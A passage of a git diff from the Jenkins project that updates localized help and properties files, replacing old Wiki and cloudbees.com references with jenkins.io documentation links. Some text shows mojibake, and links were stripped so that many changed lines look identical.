                                                    プロキシーを使用ã—ãªã„ホストåã®ãƒ‘ターンを1è¡Œã«1ã¤ãšã¤è¨­å®šã—ã¾ã™ã€‚ - ホストåã«ã¯"*"(ワイルドカード)ã‚’ã€"*.cloudbees.com"ã‚„"www*.jenkins-ci.org"ã®ã‚ˆã†ã«ä½¿ç”¨ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ + ホストåã«ã¯"*"(ワイルドカード)ã‚’ã€"*.jenkins.io"ã‚„"www*.jenkins-ci.org"ã®ã‚ˆã†ã«ä½¿ç”¨ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚
                                                    \ No newline at end of file diff --git a/core/src/main/resources/hudson/ProxyConfiguration/help-noProxyHost_zh_TW.html b/core/src/main/resources/hudson/ProxyConfiguration/help-noProxyHost_zh_TW.html index 457b923357..a6df9c10ed 100644 --- a/core/src/main/resources/hudson/ProxyConfiguration/help-noProxyHost_zh_TW.html +++ b/core/src/main/resources/hudson/ProxyConfiguration/help-noProxyHost_zh_TW.html @@ -1,4 +1,4 @@
                                                    指定ä¸è¦é€éŽä»£ç†ä¼ºæœå™¨é€£ç·šçš„主機å稱樣å¼ï¼Œä¸€è¡Œä¸€å€‹ã€‚ - å¯ä»¥ä½¿ç”¨ "*" 代表任何字串 (例如 "*.cloudbees.com" 或是 "www*.jenkins-ci.org")。 + å¯ä»¥ä½¿ç”¨ "*" 代表任何字串 (例如 "*.jenkins.io" 或是 "www*.jenkins-ci.org")。
                                                    \ No newline at end of file diff --git a/core/src/main/resources/hudson/cli/CLIAction/index.properties b/core/src/main/resources/hudson/cli/CLIAction/index.properties index d2e768307a..e4eebf4895 100644 --- a/core/src/main/resources/hudson/cli/CLIAction/index.properties +++ b/core/src/main/resources/hudson/cli/CLIAction/index.properties @@ -1,4 +1,4 @@ Jenkins\ CLI=Jenkins CLI blurb=You can access various features in Jenkins through a command-line tool. See \ - the Wiki for more details of this feature.\ + the documentation for more details of this feature.\ To get started, download jenkins-cli.jar, and run it as follows: diff --git a/core/src/main/resources/hudson/cli/CLIAction/index_de.properties b/core/src/main/resources/hudson/cli/CLIAction/index_de.properties index d7b0a91ed1..372ffd4e8a 100644 --- a/core/src/main/resources/hudson/cli/CLIAction/index_de.properties +++ b/core/src/main/resources/hudson/cli/CLIAction/index_de.properties @@ -2,6 +2,6 @@ Available\ Commands=Verf\u00FCgbare Kommandos Jenkins\ CLI=Jenkins CLI blurb=\ Sie können ausgewählte Funktionen von Jenkins über ein Kommandozeilenwerkzeug (engl.: Command Line Interface, CLI) nutzen. \ - Näheres dazu finden Sie im Wiki. \ + Näheres dazu finden Sie in der Dokumentation. \ Um Jenkins CLI einzusetzen, laden Sie jenkins-cli.jar \ lokal herunter und starten es wie folgt: diff --git a/core/src/main/resources/hudson/cli/CLIAction/index_es.properties b/core/src/main/resources/hudson/cli/CLIAction/index_es.properties index 16d664612b..3639ef8831 100644 --- a/core/src/main/resources/hudson/cli/CLIAction/index_es.properties +++ b/core/src/main/resources/hudson/cli/CLIAction/index_es.properties @@ -21,7 +21,7 @@ # THE SOFTWARE. blurb=Puedes acceder a varias funcionalidades de Jenkins utilizando la linea de comandos. \ - Echa un vistazo a esta página para mas detalles. \ + Echa un vistazo a esta página para mas detalles. \ Para comenzar, descarga a href="{0}/jnlpJars/jenkins-cli.jar">jenkins-cli.jar, y ejecuta lo siguiente: Jenkins\ CLI=Interfaz de comandos (CLI) de Jenkins Available\ Commands=Comandos disponibles diff --git a/core/src/main/resources/hudson/cli/CLIAction/index_fr.properties b/core/src/main/resources/hudson/cli/CLIAction/index_fr.properties index 5bb5e770f3..c51c705ec8 100644 --- a/core/src/main/resources/hudson/cli/CLIAction/index_fr.properties +++ b/core/src/main/resources/hudson/cli/CLIAction/index_fr.properties @@ -22,4 +22,4 @@ Available\ Commands=Commandes disponibles Jenkins\ CLI=Ligne de commande (CLI) Jenkins -blurb=Vous pouvez acc\u00E9der \u00E0 diverses fonctionnalit\u00E9s de Jenkins \u00E0 travers une ligne de commande. Voir le wiki pour plus d''information sur cette fonctionnalit\u00E9. Pour d\u00E9buter, t\u00E9l\u00E9chargez jenkins-cli.jar et utilisez le comme suit: +blurb=Vous pouvez acc\u00E9der \u00E0 diverses fonctionnalit\u00E9s de Jenkins \u00E0 travers une ligne de commande. Voir le wiki pour plus d''information sur cette fonctionnalit\u00E9. Pour d\u00E9buter, t\u00E9l\u00E9chargez jenkins-cli.jar et utilisez le comme suit: diff --git a/core/src/main/resources/hudson/cli/CLIAction/index_it.properties b/core/src/main/resources/hudson/cli/CLIAction/index_it.properties index fb7ef102f1..61db53365e 100644 --- a/core/src/main/resources/hudson/cli/CLIAction/index_it.properties +++ b/core/src/main/resources/hudson/cli/CLIAction/index_it.properties @@ -1,5 +1,5 @@ Available\ Commands=Comandi disponibili Jenkins\ CLI=Jenkins CLI blurb=Puoi accede alle funzionalit\u00e0\u00a0 di Jenkins attraverso un tool da linea di comando. Per maggiori dettagli visita \ - la Wiki. \ + la Wiki. \ Per iniziare, scarica jenkins-cli.jar, e lancia il seguente comando: diff --git a/core/src/main/resources/hudson/cli/CLIAction/index_ja.properties b/core/src/main/resources/hudson/cli/CLIAction/index_ja.properties index a6522667f8..67bc6c6caa 100644 --- a/core/src/main/resources/hudson/cli/CLIAction/index_ja.properties +++ b/core/src/main/resources/hudson/cli/CLIAction/index_ja.properties @@ -21,7 +21,7 @@ # THE SOFTWARE. blurb=\u30b3\u30de\u30f3\u30c9\u30e9\u30a4\u30f3\u306e\u30c4\u30fc\u30eb\u304b\u3089Jenkins\u306e\u69d8\u3005\u306a\u6a5f\u80fd\u3092\u5229\u7528\u3067\u304d\u307e\u3059\u3002\ - \u8a73\u7d30\u306fWiki\u3092\u53c2\u7167\u3057\u3066\u304f\u3060\u3055\u3044\u3002\ + \u8a73\u7d30\u306fWiki\u3092\u53c2\u7167\u3057\u3066\u304f\u3060\u3055\u3044\u3002\ \u307e\u305a\u306f\u3001jenkins-cli.jar\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3066\u6b21\u306e\u3088\u3046\u306b\u8d77\u52d5\u3057\u3066\u304f\u3060\u3055\u3044\u3002 Jenkins\ CLI=Jenkins CLI Available\ Commands=\u5229\u7528\u53ef\u80fd\u306a\u30b3\u30de\u30f3\u30c9 diff --git a/core/src/main/resources/hudson/cli/CLIAction/index_nl.properties b/core/src/main/resources/hudson/cli/CLIAction/index_nl.properties index ee556037d3..da112a8140 100644 --- a/core/src/main/resources/hudson/cli/CLIAction/index_nl.properties +++ b/core/src/main/resources/hudson/cli/CLIAction/index_nl.properties @@ -21,4 +21,4 @@ # THE SOFTWARE. Available\ Commands=Beschikbare commando''s -blurb=Je kan gebruik maken van verschillende mogelijkheden in Jenkins via een opdracht op de commandoregel. Zie de Wiki voor verder details hierover. Om te beginnen, download jenkins-cli.jar, en voer het uit als volgt: +blurb=Je kan gebruik maken van verschillende mogelijkheden in Jenkins via een opdracht op de commandoregel. Zie de Wiki voor verder details hierover. Om te beginnen, download jenkins-cli.jar, en voer het uit als volgt: diff --git a/core/src/main/resources/hudson/cli/CLIAction/index_pt_BR.properties b/core/src/main/resources/hudson/cli/CLIAction/index_pt_BR.properties index 2cabf24de0..9eb5bd486e 100644 --- a/core/src/main/resources/hudson/cli/CLIAction/index_pt_BR.properties +++ b/core/src/main/resources/hudson/cli/CLIAction/index_pt_BR.properties @@ -23,8 +23,8 @@ Available\ Commands=Comandos dispon\u00EDveis Jenkins\ CLI= # You can access various features in Jenkins through a command-line tool. See \ -# the Wiki for more details of this feature.\ +# the Wiki for more details of this feature.\ # To get started, download jenkins-cli.jar, and run it as follows: -blurb=\ Voc\u00ea pode acessar v\u00e1rias funcionalidades do Jenkins pelo prompt de comando. Veja \ +blurb=\ Voc\u00ea pode acessar v\u00e1rias funcionalidades do Jenkins pelo prompt de comando. Veja \ a Wiki diff --git a/core/src/main/resources/hudson/cli/CLIAction/index_ru.properties b/core/src/main/resources/hudson/cli/CLIAction/index_ru.properties index 2e962ae468..6af77f38a5 100644 --- a/core/src/main/resources/hudson/cli/CLIAction/index_ru.properties +++ b/core/src/main/resources/hudson/cli/CLIAction/index_ru.properties @@ -22,4 +22,4 @@ Available\ Commands=\u0414\u043E\u0441\u0442\u0443\u043F\u043D\u044B\u0435 \u043A\u043E\u043C\u0430\u043D\u0434\u044B Jenkins\ CLI=\u041A\u043E\u043D\u0441\u043E\u043B\u044C\u043D\u044B\u0435 \u043A\u043E\u043C\u0430\u043D\u0434\u044B Jenkins -blurb=\u0421 \u043F\u043E\u043C\u043E\u0449\u044C\u044E \u043A\u043E\u043D\u0441\u043E\u043B\u044C\u043D\u044B\u0445 \u043A\u043E\u043C\u0430\u043D\u0434 Jenkins \u0432\u044B \u043C\u043E\u0436\u0435\u0442\u0435 \u043F\u043E\u043B\u0443\u0447\u0438\u0442\u044C \u0434\u043E\u0441\u0442\u0443\u043F \u043A \u0431\u043E\u043B\u044C\u0448\u043E\u043C\u0443 \u043A\u043E\u043B\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u0444\u0443\u043D\u043A\u0446\u0438\u0439. \u0411\u043E\u043B\u0435\u0435 \u0434\u0435\u0442\u0430\u043B\u044C\u043D\u0430\u044F \u0438\u043D\u0444\u043E\u0440\u043C\u0430\u0446\u0438\u044F \u043D\u0430\u0445\u043E\u0434\u0438\u0442\u0441\u044F \u0432 \u0431\u0430\u0437\u0435 \u0437\u043D\u0430\u043D\u0438\u0439 Jenkins. \u0414\u043B\u044F \u0442\u043E\u0433\u043E, \u0447\u0442\u043E\u0431\u044B \u043D\u0430\u0447\u0430\u0442\u044C \u043F\u043E\u043B\u044C\u0437\u043E\u0432\u0430\u0442\u044C\u0441\u044F \u043A\u043E\u043D\u0441\u043E\u043B\u044C\u043D\u044B\u043C\u0438 \u043A\u043E\u043C\u0430\u043D\u0434\u0430\u043C\u0438, \u043D\u0435\u043E\u0431\u0445\u043E\u0434\u0438\u043C\u043E \u0441\u043A\u0430\u0447\u0430\u0442\u044C jenkins-cli.jar, \u0438 \u0437\u0430\u043F\u0443\u0441\u0442\u0438\u0442\u044C \u043F\u0430\u043A\u0435\u0442 \u0441\u043B\u0435\u0434\u0443\u044E\u0449\u0438\u043C \u043E\u0431\u0440\u0430\u0437\u043E\u043C: +blurb=\u0421 \u043F\u043E\u043C\u043E\u0449\u044C\u044E \u043A\u043E\u043D\u0441\u043E\u043B\u044C\u043D\u044B\u0445 \u043A\u043E\u043C\u0430\u043D\u0434 Jenkins \u0432\u044B \u043C\u043E\u0436\u0435\u0442\u0435 \u043F\u043E\u043B\u0443\u0447\u0438\u0442\u044C \u0434\u043E\u0441\u0442\u0443\u043F \u043A \u0431\u043E\u043B\u044C\u0448\u043E\u043C\u0443 \u043A\u043E\u043B\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u0444\u0443\u043D\u043A\u0446\u0438\u0439. \u0411\u043E\u043B\u0435\u0435 \u0434\u0435\u0442\u0430\u043B\u044C\u043D\u0430\u044F \u0438\u043D\u0444\u043E\u0440\u043C\u0430\u0446\u0438\u044F \u043D\u0430\u0445\u043E\u0434\u0438\u0442\u0441\u044F \u0432 \u0431\u0430\u0437\u0435 \u0437\u043D\u0430\u043D\u0438\u0439 Jenkins. \u0414\u043B\u044F \u0442\u043E\u0433\u043E, \u0447\u0442\u043E\u0431\u044B \u043D\u0430\u0447\u0430\u0442\u044C \u043F\u043E\u043B\u044C\u0437\u043E\u0432\u0430\u0442\u044C\u0441\u044F \u043A\u043E\u043D\u0441\u043E\u043B\u044C\u043D\u044B\u043C\u0438 \u043A\u043E\u043C\u0430\u043D\u0434\u0430\u043C\u0438, \u043D\u0435\u043E\u0431\u0445\u043E\u0434\u0438\u043C\u043E \u0441\u043A\u0430\u0447\u0430\u0442\u044C jenkins-cli.jar, \u0438 \u0437\u0430\u043F\u0443\u0441\u0442\u0438\u0442\u044C \u043F\u0430\u043A\u0435\u0442 \u0441\u043B\u0435\u0434\u0443\u044E\u0449\u0438\u043C \u043E\u0431\u0440\u0430\u0437\u043E\u043C: diff --git a/core/src/main/resources/hudson/cli/CLIAction/index_sr.properties b/core/src/main/resources/hudson/cli/CLIAction/index_sr.properties index 704a2a0c31..8f1eec2169 100644 --- a/core/src/main/resources/hudson/cli/CLIAction/index_sr.properties +++ b/core/src/main/resources/hudson/cli/CLIAction/index_sr.properties @@ -1,5 +1,5 @@ # This file is under the MIT License by authors Jenkins\ CLI=Jenkins \u0441\u0430 \u043A\u043E\u043C\u0430\u043D\u0434\u043D\u0435 \u043B\u0438\u043D\u0438\u0458\u0435 -blurb=\u041F\u043E\u043C\u043E\u045B\u0443 \u043A\u043E\u043D\u0437\u043E\u043B\u0435 \u043A\u043E\u043C\u0430\u043D\u0434\u0435 Jenkins \u043C\u043E\u0436\u0435\u0442\u0435 \u0434\u043E\u0431\u0438\u0442\u0438 \u043F\u0440\u0438\u0441\u0442\u0443\u043F \u0432\u0435\u043B\u0438\u043A\u043E\u043C \u0431\u0440\u043E\u0458\u0443 \u0444\u0443\u043D\u043A\u0446\u0438\u0458\u0430. \u0414\u0435\u0442\u0430\u0459\u043D\u0435 \u0438\u043D\u0444\u043E\u0440\u043C\u0430\u0446\u0438\u0458\u0435 \u0441\u0435 \u043D\u0430\u043B\u0430\u0437\u0435 \u043D\u0430 \u0443 Jenkins \u0432\u0438\u043A\u0438. \u0423 \u0446\u0438\u0459\u0443 \u0434\u0430 \u043F\u043E\u0447\u043D\u0435\u0442\u0435 \u0434\u0430 \u043A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0435 \u043A\u043E\u043C\u0430\u043D\u0434\u0443, \u043F\u043E\u0442\u0440\u0435\u0431\u043D\u043E \u0458\u0435 \u0434\u0430 \u043F\u0440\u0435\u0443\u0437\u043C\u0435\u0442\u0435 jenkins-cli.jar, \u0438 \u043F\u043E\u043A\u0440\u0435\u043D\u0435\u0442\u0435 \u043F\u0430\u043A\u0435\u0442 \u043D\u0430 \u0441\u043B\u0435\u0434\u0435\u045B\u0438 \u043D\u0430\u0447\u0438\u043D: +blurb=\u041F\u043E\u043C\u043E\u045B\u0443 \u043A\u043E\u043D\u0437\u043E\u043B\u0435 \u043A\u043E\u043C\u0430\u043D\u0434\u0435 Jenkins \u043C\u043E\u0436\u0435\u0442\u0435 \u0434\u043E\u0431\u0438\u0442\u0438 \u043F\u0440\u0438\u0441\u0442\u0443\u043F \u0432\u0435\u043B\u0438\u043A\u043E\u043C \u0431\u0440\u043E\u0458\u0443 \u0444\u0443\u043D\u043A\u0446\u0438\u0458\u0430. \u0414\u0435\u0442\u0430\u0459\u043D\u0435 \u0438\u043D\u0444\u043E\u0440\u043C\u0430\u0446\u0438\u0458\u0435 \u0441\u0435 \u043D\u0430\u043B\u0430\u0437\u0435 \u043D\u0430 \u0443 Jenkins \u0432\u0438\u043A\u0438. \u0423 \u0446\u0438\u0459\u0443 \u0434\u0430 \u043F\u043E\u0447\u043D\u0435\u0442\u0435 \u0434\u0430 \u043A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0435 \u043A\u043E\u043C\u0430\u043D\u0434\u0443, \u043F\u043E\u0442\u0440\u0435\u0431\u043D\u043E \u0458\u0435 \u0434\u0430 \u043F\u0440\u0435\u0443\u0437\u043C\u0435\u0442\u0435 jenkins-cli.jar, \u0438 \u043F\u043E\u043A\u0440\u0435\u043D\u0435\u0442\u0435 \u043F\u0430\u043A\u0435\u0442 \u043D\u0430 \u0441\u043B\u0435\u0434\u0435\u045B\u0438 \u043D\u0430\u0447\u0438\u043D: Available\ Commands=\u0414\u043E\u0441\u0442\u0443\u043F\u043D\u0435 \u043A\u043E\u043C\u0430\u043D\u0434\u0435 diff --git a/core/src/main/resources/hudson/cli/CLIAction/index_zh_CN.properties b/core/src/main/resources/hudson/cli/CLIAction/index_zh_CN.properties index f8cf7eede7..bd6ca6d779 100644 --- a/core/src/main/resources/hudson/cli/CLIAction/index_zh_CN.properties +++ b/core/src/main/resources/hudson/cli/CLIAction/index_zh_CN.properties @@ -22,4 +22,4 @@ Available\ Commands=\u53EF\u7528\u7684\u547D\u4EE4 Jenkins\ CLI=Jenkins \u547d\u4ee4\u884c -blurb=\u4F60\u53EF\u4EE5\u901A\u8FC7\u547D\u4EE4\u884C\u5DE5\u5177\u64CD\u4F5CJenkins\u7684\u8BB8\u591A\u7279\u6027\u3002\u4F60\u53EF\u4EE5\u901A\u8FC7 Wiki\u83B7\u5F97\u66F4\u591A\u4FE1\u606F\u3002\u4F5C\u4E3A\u5F00\u59CB\uFF0C\u4F60\u53EF\u4EE5\u4E0B\u8F7Djenkins-cli.jar\uFF0C\u7136\u540E\u8FD0\u884C\u4E0B\u5217\u547D\u4EE4\uFF1A +blurb=\u4F60\u53EF\u4EE5\u901A\u8FC7\u547D\u4EE4\u884C\u5DE5\u5177\u64CD\u4F5CJenkins\u7684\u8BB8\u591A\u7279\u6027\u3002\u4F60\u53EF\u4EE5\u901A\u8FC7 Wiki\u83B7\u5F97\u66F4\u591A\u4FE1\u606F\u3002\u4F5C\u4E3A\u5F00\u59CB\uFF0C\u4F60\u53EF\u4EE5\u4E0B\u8F7Djenkins-cli.jar\uFF0C\u7136\u540E\u8FD0\u884C\u4E0B\u5217\u547D\u4EE4\uFF1A diff --git a/core/src/main/resources/hudson/cli/CLIAction/index_zh_TW.properties b/core/src/main/resources/hudson/cli/CLIAction/index_zh_TW.properties index aaa1f13048..8b9bb390ec 100644 --- a/core/src/main/resources/hudson/cli/CLIAction/index_zh_TW.properties +++ b/core/src/main/resources/hudson/cli/CLIAction/index_zh_TW.properties @@ -24,6 +24,6 @@ Jenkins\ CLI=Jenkins \u547d\u4ee4\u5217\u4ecb\u9762 blurb=\ \u60a8\u53ef\u4ee5\u900f\u904e\u547d\u4ee4\u5217\u5de5\u5177\u4f7f\u7528 Jenkins \u7684\u8af8\u591a\u529f\u80fd\u3002\ - \u5728 Wiki \u4e0a\u6709\u8a73\u7d30\u7684\u529f\u80fd\u8aaa\u660e\u3002\ + \u5728 Wiki \u4e0a\u6709\u8a73\u7d30\u7684\u529f\u80fd\u8aaa\u660e\u3002\ \u5fc3\u52d5\u4e0d\u5982\u99ac\u4e0a\u884c\u52d5\uff0c\u4e0b\u8f09 jenkins-cli.jar \u4e26\u57f7\u884c\u4ee5\u4e0b\u6307\u4ee4: Available\ Commands=\u53ef\u7528\u6307\u4ee4 diff --git a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index.properties b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index.properties index 5b67eef770..60274c7365 100644 --- a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index.properties +++ b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index.properties @@ -28,4 +28,4 @@ description.2=To prevent that problem, you should act now. solution.1=Clean up some files from this partition to make more room. solution.2=\ Move JENKINS_HOME to a bigger partition. \ - See our Wiki for how to do this. + See our documentation for how to do this. diff --git a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_de.properties b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_de.properties index 50dfd49b45..4ef1658f7e 100644 --- a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_de.properties +++ b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_de.properties @@ -5,4 +5,4 @@ description.1=Das Verzeichnis JENKINS_HOME ({0}) ist fast voll. Ist die description.2=Um dieses Problem zu vermeiden, sollten Sie jetzt handeln. solution.1=Löschen Sie Dateien dieses Laufwerks, um Speicherplatz wieder freizugeben. solution.2=Verschieben Sie JENKINS_HOME auf ein Laufwerk mit mehr freiem Platz. \ - Eine Anleitung dazu finden Sie im Wiki. + Eine Anleitung dazu finden Sie im Wiki. diff --git a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_es.properties b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_es.properties index 6415c2f555..5711590493 100644 --- a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_es.properties +++ b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_es.properties @@ -28,6 +28,6 @@ description.2=Debes hacer algo ahora para prevenir el problema. solution.1=Borra ficheros de esta partición para liberar espacio. solution.2=\ Mueve el directorio de JENKINS_HOME a una partción mayor. \ - Echa un vistazo a esta página para saber cómo hacerlo. + Echa un vistazo a esta página para saber cómo hacerlo. JENKINS_HOME\ is\ almost\ full=El directirio JENKINS_HOME ({0}) está casi lleno. diff --git a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_fr.properties b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_fr.properties index 8b52c71b8a..e09a762023 100644 --- a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_fr.properties +++ b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_fr.properties @@ -24,5 +24,5 @@ blurb=JENKINS_HOME est presque plein description.1=Votre r\u00E9pertoire JENKINS_HOME ({0}) est presque plein. Quand il n''y aura plus d''espace disponible dans ce r\u00E9pertoire, Jenkins aura un comportement erratique, car il ne pourra plus stocker de donn\u00E9es. description.2=Pour \u00E9viter ce probl\u00E8me, vous devez agir maintenant. solution.1=Supprimez des fichiers sur cette partition afin de faire plus de place. -solution.2=D\u00E9placez JENKINS_HOME sur une partition plus grande. Consultez notre Wiki pour la d\u00E9marche \u00E0 suivre. +solution.2=D\u00E9placez JENKINS_HOME sur une partition plus grande. Consultez notre Wiki pour la d\u00E9marche \u00E0 suivre. JENKINS_HOME\ is\ almost\ full=JENKINS_HOME est presque plein diff --git a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_ja.properties b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_ja.properties index bf281d21e1..e771df40e4 100644 --- a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_ja.properties +++ b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_ja.properties @@ -28,5 +28,5 @@ description.2=\u554F\u984C\u304C\u8D77\u304D\u306A\u3044\u3088\u3046\u306B\u3001 solution.1=\u3053\u306E\u30D1\u30FC\u30C6\u30A3\u30B7\u30E7\u30F3\u306E\u30D5\u30A1\u30A4\u30EB\u3092\u524A\u9664\u3057\u3066\u3001\u7A7A\u304D\u3092\u4F5C\u308A\u307E\u3059\u3002 solution.2=\ JENKINS_HOME\u3092\u3082\u3063\u3068\u5BB9\u91CF\u306E\u3042\u308B\u30D1\u30FC\u30C6\u30A3\u30B7\u30E7\u30F3\u306B\u79FB\u3057\u307E\u3059\u3002\ - \u8A73\u3057\u3044\u65B9\u6CD5\u306F\u3001Wiki\u3092\u53C2\u7167\u3057\u3066\u304F\u3060\u3055\u3044\u3002 + \u8A73\u3057\u3044\u65B9\u6CD5\u306F\u3001Wiki\u3092\u53C2\u7167\u3057\u3066\u304F\u3060\u3055\u3044\u3002 JENKINS_HOME\ is\ almost\ full=JENKINS_HOME\u306E\u5BB9\u91CF\u304C\u307B\u307C\u3044\u3063\u3071\u3044\u3067\u3059\u3002 diff --git a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_nl.properties b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_nl.properties index b567d7a5ce..c37c0bf5b5 100644 --- a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_nl.properties +++ b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_nl.properties @@ -26,5 +26,5 @@ description.1=\ description.2=Om problemen te vermijden, dient U nu in te grijpen. solution.1=Gelieve ruimte vrij te maken op deze locatie. solution.2=\ - Verhuis JENKINS_HOME naar een locatie met grotere capaciteit. Op onze Wiki vind je meer informatie over hoe je dit kunt realizeren. + Verhuis JENKINS_HOME naar een locatie met grotere capaciteit. Op onze Wiki vind je meer informatie over hoe je dit kunt realizeren. JENKINS_HOME\ is\ almost\ full=Vrije ruimte in JENKINS_HOME is bijna opgebruikt! diff --git a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_pt.properties b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_pt.properties index c2ab796dee..b1e7f81355 100644 --- a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_pt.properties +++ b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_pt.properties @@ -25,6 +25,6 @@ description.2=Para previnir esse problema, fa\u00e7a alguma coisa agora. description.1=O seu JENKINS_HOME ({0}) est\u00e1 quase cheio. \ Quando esse diret\u00f3rio estiver lotado ocorrer\u00e3o alguns estragos, pois o Jenkins n\u00e3o pode gravar mais dado nenhum. solution.2=Mova o JENKINS_HOME para uma parti\u00e7\u00e3o maior. \ -Veja a nossa Wiki para aprender como fazer isso. +Veja a nossa Wiki para aprender como fazer isso. blurb=JENKINS_HOME est\u00e1 quase cheio solution.1=Limpe alguns arquivos dessa parti\u00e7\u00e3o para liberar mais espa\u00e7o. diff --git a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_pt_BR.properties b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_pt_BR.properties index 0e5b944a80..2f9b767f5d 100644 --- a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_pt_BR.properties +++ b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_pt_BR.properties @@ -29,10 +29,10 @@ description.1=Seu diret\ufffdrio JENKINS_HOME ({0}) est\ufffd quase che Quando este diret\ufffdrio ficar completamente cheio, ocorrer\ufffd problemas porque o Jenkins n\ufffdo pode mais armazenar dados. # \ # Move JENKINS_HOME to a bigger partition. \ -# See our Wiki for how to do this. +# See our Wiki for how to do this. solution.2=\ Mova o diret\ufffdrio JENKINS_HOME para uma parti\ufffd\ufffdo maior. \ - Veja nosso Wiki para saber como fazer isto. + Veja nosso Wiki para saber como fazer isto. JENKINS_HOME\ is\ almost\ full=JENKINS_HOME est\ufffd quase cheio # JENKINS_HOME is almost full diff --git a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_sr.properties b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_sr.properties index 2208ac4a58..82dbe60492 100644 --- a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_sr.properties +++ b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_sr.properties @@ -8,5 +8,7 @@ description.2=\u0414\u0430 \u0431\u0438 \u0441\u0435 \u0441\u043F\u0440\u0435\u0 solution.1=\u041E\u0431\u0440\u0438\u0448\u0435\u0442\u0435 \u043D\u0435\u043A\u0435 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0435 \u0441\u0430 \u043E\u0432\u0435 \u043F\u0430\u0440\u0442\u0438\u0446\u0438\u0458\u0435 \u0434\u0430 \u0431\u0438 \u0441\u0435 \u043E\u0441\u043B\u043E\u0431\u043E\u0434\u0438\u043B\u043E \u043C\u0435\u0441\u0442\u0430. solution.2=\ \u041F\u0440\u0435\u0431\u0430\u0446\u0438\u0442\u0435 <\u0422\u0422>JENKINS_HOME \u0432\u0435\u045B\u043E\u0458 \u043F\u0430\u0440\u0442\u0438\u0446\u0438\u0458\u0438.\ -\u041F\u043E\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 <\u0430 href="http://wiki.jenkins-ci.org/display/JENKINS/Administering+\u040F\u0435\u043D\u043A\u0438\u043D\u0441">\u0412\u0438\u043A\u0438 \u0442\u043E\u043C\u0435 \u043A\u0430\u043A\u043E \u0434\u0430 \u0442\u043E \u0443\u0440\u0430\u0434\u0438\u0442\u0438. +\u041F\u043E\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 <\u0430 href="https://jenkins.io/redirect/migrate-jenkins-home">\u0412\u0438\u043A\u0438 \u0442\u043E\u043C\u0435 \u043A\u0430\u043A\u043E \u0434\u0430 \u0442\u043E \u0443\u0440\u0430\u0434\u0438\u0442\u0438. Dit= + +# TODO FIXME This file looks completely messed up? \ No newline at end of file diff --git a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_zh_TW.properties b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_zh_TW.properties index c68caa7b9a..b02747e2a7 100644 --- a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_zh_TW.properties +++ b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_zh_TW.properties @@ -29,5 +29,5 @@ description.2=\u70ba\u4e86\u907f\u514d\u767c\u751f\u61be\u4e8b\uff0c\u60a8\u61c9 solution.1=\u6e05\u6389\u9019\u500b\u5206\u5272\u5340\u4e0a\u7684\u67d0\u4e9b\u6a94\u6848\uff0c\u7a7a\u51fa\u4e00\u4e9b\u7a7a\u9593\u3002 solution.2=\ \u5c07 JENKINS_HOME \u79fb\u5230\u6bd4\u8f03\u5927\u7684\u5206\u5272\u5340\u88e1\u3002\ - \u5728\u6211\u5011\u7684 Wiki \u4e0a\u6709\u4f5c\u6cd5\u8aaa\u660e\u3002 + \u5728\u6211\u5011\u7684 Wiki 